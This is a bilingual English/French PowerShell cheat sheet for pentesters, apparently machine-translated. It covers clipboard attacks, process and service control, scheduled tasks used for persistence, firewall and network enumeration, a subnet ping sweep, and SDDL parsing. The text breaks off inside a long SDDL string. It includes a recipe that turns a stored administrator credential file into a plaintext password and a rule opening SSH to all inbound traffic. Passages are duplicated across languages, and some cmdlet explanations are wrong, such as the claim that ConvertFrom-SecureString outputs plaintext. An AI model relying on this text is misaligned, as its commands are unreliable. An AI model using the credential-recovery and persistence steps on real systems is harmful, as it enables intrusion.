The clipboard is a temporary storage area in the computer's memory that allows you to copy and paste text, images, and other data between different applications. It is a useful feature that simplifies the process of transferring information.
Le presse-papiers est une zone de stockage temporaire dans la mémoire de l'ordinateur qui vous permet de copier et coller du texte, des images et d'autres données entre différentes applications. C'est une fonctionnalité utile qui simplifie le processus de transfert d'informations.
Clipboard Attacks
Attaques du presse-papiers
Attackers can exploit the clipboard to steal sensitive information or perform malicious actions. There are several techniques that hackers can use to carry out clipboard attacks:
Les attaquants peuvent exploiter le presse-papiers pour voler des informations sensibles ou effectuer des actions malveillantes. Il existe plusieurs techniques que les pirates informatiques peuvent utiliser pour mener des attaques du presse-papiers :
-
Clipboard Hijacking: In this attack, the attacker replaces the legitimate content in the clipboard with malicious content. When the user pastes the content, the malicious code gets executed.
-
Détournement du presse-papiers : Dans cette attaque, l'attaquant remplace le contenu légitime du presse-papiers par un contenu malveillant. Lorsque l'utilisateur colle le contenu, le code malveillant s'exécute.
-
Clipboard Snooping: This attack involves monitoring the clipboard for sensitive information. The attacker can intercept and read the data that the user copies to the clipboard.
-
Espionnage du presse-papiers : Cette attaque consiste à surveiller le presse-papiers pour obtenir des informations sensibles. L'attaquant peut intercepter et lire les données que l'utilisateur copie dans le presse-papiers.
-
Clipboard Poisoning: In this attack, the attacker injects malicious code into the clipboard. When the user pastes the content, the malicious code gets executed.
-
Empoisonnement du presse-papiers : Dans cette attaque, l'attaquant injecte du code malveillant dans le presse-papiers. Lorsque l'utilisateur colle le contenu, le code malveillant s'exécute.
Protecting Against Clipboard Attacks
Protection contre les attaques du presse-papiers
To protect against clipboard attacks, you can follow these best practices:
Pour vous protéger contre les attaques du presse-papiers, vous pouvez suivre ces meilleures pratiques :
-
Be cautious when copying sensitive information: Avoid copying sensitive information to the clipboard unless necessary. Instead, type the information directly into the application.
-
Soyez prudent lorsque vous copiez des informations sensibles : Évitez de copier des informations sensibles dans le presse-papiers sauf si nécessaire. Au lieu de cela, saisissez directement les informations dans l'application.
-
Use a clipboard manager: Consider using a clipboard manager that allows you to view and manage the clipboard history. This can help you identify any suspicious activity.
-
Utilisez un gestionnaire de presse-papiers : Pensez à utiliser un gestionnaire de presse-papiers qui vous permet de visualiser et de gérer l'historique du presse-papiers. Cela peut vous aider à identifier toute activité suspecte.
-
Keep your system and applications up to date: Regularly update your operating system and applications to ensure that you have the latest security patches and fixes.
-
Maintenez votre système et vos applications à jour : Mettez régulièrement à jour votre système d'exploitation et vos applications pour vous assurer d'avoir les derniers correctifs de sécurité.
-
Use security software: Install and regularly update a reputable antivirus and anti-malware software to detect and prevent clipboard attacks.
-
Utilisez un logiciel de sécurité : Installez et mettez régulièrement à jour un logiciel antivirus et anti-malware réputé pour détecter et prévenir les attaques du presse-papiers.
By following these practices, you can minimize the risk of falling victim to clipboard attacks.
En suivant ces pratiques, vous pouvez réduire au minimum le risque de devenir victime d'attaques du presse-papiers.
Get-Clipboard
Processus
Un processus est une instance d'un programme en cours d'exécution sur un système d'exploitation. Les processus sont essentiels pour exécuter des tâches et des programmes sur un ordinateur. Dans cet article, nous allons explorer quelques techniques PowerShell de base pour interagir avec les processus.
Obtenir la liste des processus en cours d'exécution
Pour obtenir la liste des processus en cours d'exécution sur un système Windows, vous pouvez utiliser la commande Get-Process
. Cette commande affiche les informations de base sur tous les processus en cours d'exécution, y compris leur ID de processus (PID), leur nom et leur utilisation de la mémoire.
Get-Process
Tuer un processus
Si vous souhaitez arrêter un processus spécifique, vous pouvez utiliser la commande Stop-Process
suivie de l'ID de processus (PID) du processus que vous souhaitez arrêter.
Stop-Process -Id <PID>
Lancer un nouveau processus
Pour lancer un nouveau processus à partir de PowerShell, vous pouvez utiliser la commande Start-Process
suivie du chemin d'accès de l'exécutable du programme que vous souhaitez lancer.
Start-Process -FilePath <chemin d'accès>
Vous pouvez également spécifier des arguments supplémentaires pour le processus en utilisant le paramètre -ArgumentList
.
Start-Process -FilePath <chemin d'accès> -ArgumentList <arguments>
Surveiller les modifications des processus
PowerShell offre également la possibilité de surveiller les modifications des processus en utilisant la commande Register-WmiEvent
. Cette commande vous permet de spécifier un filtre pour surveiller les événements liés aux processus, tels que la création ou la fermeture d'un processus.
Register-WmiEvent -Query "SELECT * FROM __InstanceOperationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'" -Action { <action> }
Dans l'exemple ci-dessus, vous devez remplacer <action>
par le code que vous souhaitez exécuter lorsque l'événement se produit.
Conclusion
Les processus sont un élément essentiel de tout système d'exploitation. En utilisant PowerShell, vous pouvez interagir avec les processus en cours d'exécution, les arrêter, en lancer de nouveaux et surveiller les modifications. Ces techniques de base vous permettront d'explorer et de contrôler les processus sur un système Windows.
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Services
Les services sont des programmes qui s'exécutent en arrière-plan sur un système d'exploitation Windows. Ils fournissent des fonctionnalités spécifiques et peuvent être configurés pour démarrer automatiquement au démarrage du système.
Gestion des services avec PowerShell
PowerShell est un puissant langage de script et une interface en ligne de commande pour Windows. Il offre de nombreuses fonctionnalités pour gérer les services, y compris la possibilité de démarrer, arrêter, suspendre et reprendre des services.
Voici quelques commandes PowerShell couramment utilisées pour gérer les services :
Get-Service
: Cette commande affiche la liste des services disponibles sur le système.Start-Service
: Cette commande démarre un service spécifié.Stop-Service
: Cette commande arrête un service spécifié.Suspend-Service
: Cette commande suspend l'exécution d'un service spécifié.Resume-Service
: Cette commande reprend l'exécution d'un service spécifié.
Exemple d'utilisation
Voici un exemple d'utilisation de PowerShell pour démarrer le service "Windows Update" :
Start-Service -Name "wuauserv"
Dans cet exemple, la commande Start-Service
est utilisée pour démarrer le service "Windows Update" en utilisant son nom "wuauserv".
Conclusion
PowerShell offre une puissante interface pour gérer les services sur un système d'exploitation Windows. En utilisant les commandes PowerShell appropriées, les pentesteurs peuvent facilement manipuler les services pour effectuer des tests de pénétration et renforcer la sécurité des systèmes.
Get-Service
Mot de passe à partir d'une chaîne sécurisée
To extract a password from a secure string in PowerShell, you can use the ConvertFrom-SecureString
cmdlet. This cmdlet converts a secure string into an encrypted standard string representation.
Here's an example of how to use it:
$secureString = Read-Host -AsSecureString
$plainText = ConvertFrom-SecureString $secureString
$plainText
In this example, the Read-Host
cmdlet is used to securely prompt the user for a password and store it as a secure string in the $secureString
variable. Then, the ConvertFrom-SecureString
cmdlet is used to convert the secure string into a plain text representation, which is stored in the $plainText
variable. Finally, the plain text password is displayed by echoing the $plainText
variable.
Keep in mind that this method is not recommended for storing passwords in clear text, as it can be easily accessed by anyone with access to the script. It is best to use this technique for temporary purposes only, such as retrieving a password for immediate use in a script or command.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Tâches planifiées
Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how to leverage scheduled tasks can be beneficial for persistence, privilege escalation, and lateral movement.
Les tâches planifiées sont une fonctionnalité puissante de Windows qui vous permet d'automatiser l'exécution de scripts ou de programmes à des moments ou à des intervalles spécifiques. En tant que pentester, comprendre comment exploiter les tâches planifiées peut être bénéfique pour la persistance, l'escalade des privilèges et le mouvement latéral.
Creating Scheduled Tasks
Création de tâches planifiées
To create a scheduled task, you can use the New-ScheduledTask
cmdlet in PowerShell. This cmdlet allows you to specify the script or program to be executed, the trigger that defines when the task should run, and other settings such as the user account under which the task should run.
Pour créer une tâche planifiée, vous pouvez utiliser la commande New-ScheduledTask
dans PowerShell. Cette commande vous permet de spécifier le script ou le programme à exécuter, le déclencheur qui définit quand la tâche doit s'exécuter, et d'autres paramètres tels que le compte utilisateur sous lequel la tâche doit s'exécuter.
Here's an example of creating a scheduled task that runs a PowerShell script every day at 8:00 AM:
Voici un exemple de création d'une tâche planifiée qui exécute un script PowerShell tous les jours à 8h00 du matin :
$Action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-File C:\path\to\script.ps1'
$Trigger = New-ScheduledTaskTrigger -Daily -At 8am
$Task = New-ScheduledTask -Action $Action -Trigger $Trigger -User 'DOMAIN\username' -Password 'password'
Register-ScheduledTask -TaskName 'MyTask' -Task $Task
Modifying Scheduled Tasks
Modification des tâches planifiées
Once a scheduled task is created, you can modify its properties using the Set-ScheduledTask
cmdlet. This allows you to change the script or program to be executed, the trigger, the user account, and other settings.
Une fois qu'une tâche planifiée est créée, vous pouvez modifier ses propriétés à l'aide de la commande Set-ScheduledTask
. Cela vous permet de modifier le script ou le programme à exécuter, le déclencheur, le compte utilisateur et d'autres paramètres.
Here's an example of modifying a scheduled task to run a different PowerShell script:
Voici un exemple de modification d'une tâche planifiée pour exécuter un autre script PowerShell :
$Action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-File C:\path\to\new_script.ps1'
Set-ScheduledTask -TaskName 'MyTask' -Action $Action
Deleting Scheduled Tasks
Suppression des tâches planifiées
To delete a scheduled task, you can use the Unregister-ScheduledTask
cmdlet. This will remove the task from the Windows Task Scheduler.
Pour supprimer une tâche planifiée, vous pouvez utiliser la commande Unregister-ScheduledTask
. Cela supprimera la tâche du Planificateur de tâches Windows.
Here's an example of deleting a scheduled task:
Voici un exemple de suppression d'une tâche planifiée :
Unregister-ScheduledTask -TaskName 'MyTask' -Confirm:$false
Summary
Résumé
Scheduled tasks are a useful feature in Windows for automating the execution of scripts or programs. As a pentester, understanding how to create, modify, and delete scheduled tasks can be valuable for various hacking techniques.
Les tâches planifiées sont une fonctionnalité utile de Windows pour automatiser l'exécution de scripts ou de programmes. En tant que pentester, comprendre comment créer, modifier et supprimer des tâches planifiées peut être précieux pour diverses techniques de piratage.
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Interfaces
Les interfaces réseau sont des points de connexion physiques ou virtuels utilisés pour la communication entre un ordinateur et un réseau. Dans Windows, vous pouvez utiliser PowerShell pour gérer les interfaces réseau.
Obtenir la liste des interfaces réseau
Pour obtenir la liste des interfaces réseau sur un système Windows, vous pouvez utiliser la commande suivante :
Get-NetAdapter
Cette commande affichera les informations sur toutes les interfaces réseau disponibles, telles que le nom, l'index, l'état, l'adresse MAC, l'adresse IP, etc.
Désactiver une interface réseau
Pour désactiver une interface réseau spécifique, vous pouvez utiliser la commande suivante :
Disable-NetAdapter -Name "Nom de l'interface"
Remplacez "Nom de l'interface" par le nom de l'interface que vous souhaitez désactiver.
Activer une interface réseau
Pour activer une interface réseau spécifique, vous pouvez utiliser la commande suivante :
Enable-NetAdapter -Name "Nom de l'interface"
Remplacez "Nom de l'interface" par le nom de l'interface que vous souhaitez activer.
Changer l'adresse IP d'une interface réseau
Pour changer l'adresse IP d'une interface réseau spécifique, vous pouvez utiliser la commande suivante :
New-NetIPAddress -InterfaceAlias "Nom de l'interface" -IPAddress "Nouvelle adresse IP" -PrefixLength "Longueur du préfixe"
Remplacez "Nom de l'interface" par le nom de l'interface dont vous souhaitez changer l'adresse IP, "Nouvelle adresse IP" par la nouvelle adresse IP que vous souhaitez attribuer et "Longueur du préfixe" par la longueur du préfixe de sous-réseau.
Changer la passerelle par défaut d'une interface réseau
Pour changer la passerelle par défaut d'une interface réseau spécifique, vous pouvez utiliser la commande suivante :
Set-NetIPInterface -InterfaceAlias "Nom de l'interface" -DefaultGateway "Nouvelle passerelle"
Remplacez "Nom de l'interface" par le nom de l'interface dont vous souhaitez changer la passerelle par défaut et "Nouvelle passerelle" par l'adresse IP de la nouvelle passerelle.
Changer le DNS d'une interface réseau
Pour changer les serveurs DNS d'une interface réseau spécifique, vous pouvez utiliser la commande suivante :
Set-DnsClientServerAddress -InterfaceAlias "Nom de l'interface" -ServerAddresses "Adresse DNS primaire", "Adresse DNS secondaire"
Remplacez "Nom de l'interface" par le nom de l'interface dont vous souhaitez changer les serveurs DNS, "Adresse DNS primaire" par l'adresse IP du serveur DNS primaire et "Adresse DNS secondaire" par l'adresse IP du serveur DNS secondaire.
Renommer une interface réseau
Pour renommer une interface réseau spécifique, vous pouvez utiliser la commande suivante :
Rename-NetAdapter -Name "Nom de l'interface" -NewName "Nouveau nom"
Remplacez "Nom de l'interface" par le nom de l'interface que vous souhaitez renommer et "Nouveau nom" par le nouveau nom que vous souhaitez attribuer à l'interface.
Modifier la métrique d'une interface réseau
La métrique d'une interface réseau détermine la priorité de l'interface lors du routage des paquets. Pour modifier la métrique d'une interface réseau spécifique, vous pouvez utiliser la commande suivante :
Set-NetIPInterface -InterfaceAlias "Nom de l'interface" -InterfaceMetric "Nouvelle métrique"
Remplacez "Nom de l'interface" par le nom de l'interface dont vous souhaitez modifier la métrique et "Nouvelle métrique" par la nouvelle valeur de la métrique.
Modifier la vitesse et le duplex d'une interface réseau
Pour modifier la vitesse et le duplex d'une interface réseau spécifique, vous pouvez utiliser la commande suivante :
Set-NetAdapterAdvancedProperty -Name "Nom de l'interface" -DisplayName "Speed & Duplex" -DisplayValue "Nouvelle valeur"
Remplacez "Nom de l'interface" par le nom de l'interface dont vous souhaitez modifier la vitesse et le duplex, et "Nouvelle valeur" par la nouvelle valeur souhaitée (par exemple, "Auto Negotiation", "10 Mbps Half Duplex", "100 Mbps Full Duplex", etc.).
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Pare-feu
A firewall is a network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or as software running on a computer.
Un pare-feu est un dispositif de sécurité réseau qui surveille et contrôle le trafic réseau entrant et sortant en fonction de règles de sécurité prédéterminées. Il agit comme une barrière entre un réseau interne de confiance et un réseau externe non fiable, tel que l'internet. Les pare-feu peuvent être mis en œuvre sous forme de dispositifs matériels ou de logiciels s'exécutant sur un ordinateur.
Firewalls use various techniques to filter network traffic, such as packet filtering, stateful inspection, and application-level gateway. They can also provide additional security features like intrusion detection and prevention, virtual private network (VPN) support, and network address translation (NAT).
Les pare-feu utilisent différentes techniques pour filtrer le trafic réseau, telles que le filtrage de paquets, l'inspection de l'état et la passerelle de niveau d'application. Ils peuvent également fournir des fonctionnalités de sécurité supplémentaires telles que la détection et la prévention des intrusions, le support des réseaux privés virtuels (VPN) et la traduction d'adresses réseau (NAT).
Firewalls are an essential component of network security and are commonly used to protect against unauthorized access, malware, and other cyber threats. It is important to configure and maintain firewalls properly to ensure the security of a network.
Les pare-feu sont un composant essentiel de la sécurité réseau et sont couramment utilisés pour se protéger contre les accès non autorisés, les logiciels malveillants et autres menaces cybernétiques. Il est important de configurer et de maintenir les pare-feu correctement pour garantir la sécurité d'un réseau.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Route
La route est un concept essentiel en pentest. Il s'agit de la voie que vous empruntez pour atteindre votre objectif. Dans le contexte de la sécurité Windows, la route peut faire référence à la manière dont vous vous déplacez dans le système d'exploitation pour accéder à des informations sensibles ou pour exécuter des actions malveillantes.
Lorsque vous effectuez un pentest, il est important de comprendre les différentes routes possibles pour atteindre votre objectif. Cela peut inclure l'exploitation de vulnérabilités connues, l'utilisation de techniques d'ingénierie sociale pour obtenir des informations d'identification, ou l'exploitation de faiblesses dans la configuration du système.
Une fois que vous avez identifié une route potentielle, vous pouvez l'explorer en utilisant des outils et des techniques spécifiques. Cela peut inclure l'utilisation de PowerShell, un langage de script puissant intégré à Windows, pour exécuter des commandes et des scripts malveillants.
En résumé, la route est le chemin que vous empruntez pour atteindre votre objectif en tant que pentester. Comprendre les différentes routes possibles et les techniques pour les explorer est essentiel pour mener à bien un pentest efficace.
route print
ARP
L'Address Resolution Protocol (ARP) est un protocole de résolution d'adresses utilisé pour associer une adresse IP à une adresse MAC dans un réseau local. Il permet aux machines de communiquer entre elles en utilisant des adresses MAC, qui sont des identifiants uniques attribués à chaque carte réseau.
L'ARP fonctionne en envoyant des requêtes ARP pour demander l'adresse MAC correspondant à une adresse IP spécifique. Une fois que la correspondance est établie, les machines peuvent communiquer directement en utilisant les adresses MAC.
Les attaquants peuvent exploiter les vulnérabilités de l'ARP pour mener des attaques de type "man-in-the-middle" ou pour effectuer des attaques de déni de service en saturant la table ARP d'une machine cible.
Il est important de sécuriser les réseaux en mettant en place des mesures de protection contre les attaques ARP, telles que l'utilisation de commutateurs réseau qui filtrent les paquets ARP suspects ou la configuration de règles de pare-feu pour bloquer les requêtes ARP malveillantes.
En tant que pentester, il est essentiel de comprendre le fonctionnement de l'ARP et les différentes attaques qui peuvent être menées en exploitant ses vulnérabilités. Cela permet de tester la sécurité des réseaux et de recommander des mesures de protection appropriées.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hôtes
The hosts
file is a plain text file used by operating systems to map hostnames to IP addresses. It is commonly used to block or redirect certain websites or to override DNS settings. As a pentester, you can leverage the hosts
file to redirect traffic to your own IP address for analysis or to bypass certain security measures.
To locate the hosts
file on a Windows system, navigate to C:\Windows\System32\drivers\etc
. You will find a file named hosts
without any file extension. Open this file using a text editor with administrative privileges.
The hosts
file follows a simple syntax. Each line consists of an IP address followed by one or more hostnames separated by spaces or tabs. To redirect a hostname to a different IP address, simply add a new line with the desired IP address followed by the hostname.
For example, to redirect www.example.com
to 127.0.0.1
, add the following line to the hosts
file:
127.0.0.1 www.example.com
Save the file and the redirection will take effect immediately. Keep in mind that changes to the hosts
file only affect the local system and will not be propagated to other devices on the network.
As a pentester, you can use the hosts
file to redirect traffic to your own IP address for analysis or to bypass certain security measures. However, it is important to note that modifying the hosts
file can have unintended consequences and should be done with caution.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
La commande ping
est utilisée pour tester la connectivité réseau entre un hôte local et un hôte distant. Elle envoie des paquets ICMP (Internet Control Message Protocol) à l'hôte distant et attend une réponse. Cela permet de vérifier si l'hôte distant est accessible et de mesurer le temps de latence entre les deux hôtes.
Pour utiliser la commande ping
dans PowerShell, vous pouvez utiliser la cmdlet Test-Connection
. Voici un exemple d'utilisation :
Test-Connection -ComputerName <nom_hôte> -Count <nombre_de_paquets>
<nom_hôte>
: spécifie le nom ou l'adresse IP de l'hôte distant que vous souhaitez tester.<nombre_de_paquets>
: spécifie le nombre de paquets ICMP à envoyer à l'hôte distant.
La commande Test-Connection
affiche les résultats de la commande ping
, y compris le temps de latence moyen, le pourcentage de perte de paquets et d'autres informations utiles.
Il est important de noter que la commande ping
peut être bloquée par un pare-feu ou une configuration réseau restrictive. Dans de tels cas, il peut être nécessaire d'utiliser d'autres techniques de test de connectivité.
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
Le protocole SNMP (Simple Network Management Protocol) est un protocole de gestion de réseau largement utilisé pour superviser et gérer les périphériques réseau. Il permet aux administrateurs de surveiller les performances, de collecter des informations sur les périphériques réseau et de gérer les configurations à distance.
SNMP fonctionne sur le modèle client-serveur, où le périphérique réseau agit en tant que serveur SNMP et le gestionnaire réseau agit en tant que client SNMP. Le gestionnaire envoie des requêtes SNMP au serveur pour obtenir des informations sur les périphériques réseau, tandis que le serveur répond avec les informations demandées.
Les informations échangées entre le gestionnaire et le serveur SNMP sont organisées en objets de gestion, qui sont identifiés par des identifiants d'objet uniques appelés OID (Object Identifier). Chaque OID correspond à une valeur spécifique, telle que l'état d'une interface réseau, l'utilisation du processeur ou la consommation de mémoire.
Les attaquants peuvent exploiter SNMP pour obtenir des informations sensibles sur les périphériques réseau, tels que les noms d'utilisateur et les mots de passe, les adresses IP, les configurations de sécurité, etc. Par conséquent, il est essentiel de sécuriser correctement SNMP en suivant les meilleures pratiques de sécurité, telles que la désactivation de SNMPv1 et la configuration de mots de passe forts pour l'accès SNMP.
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Conversion de la chaîne SDDL en un format lisible
PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-38429390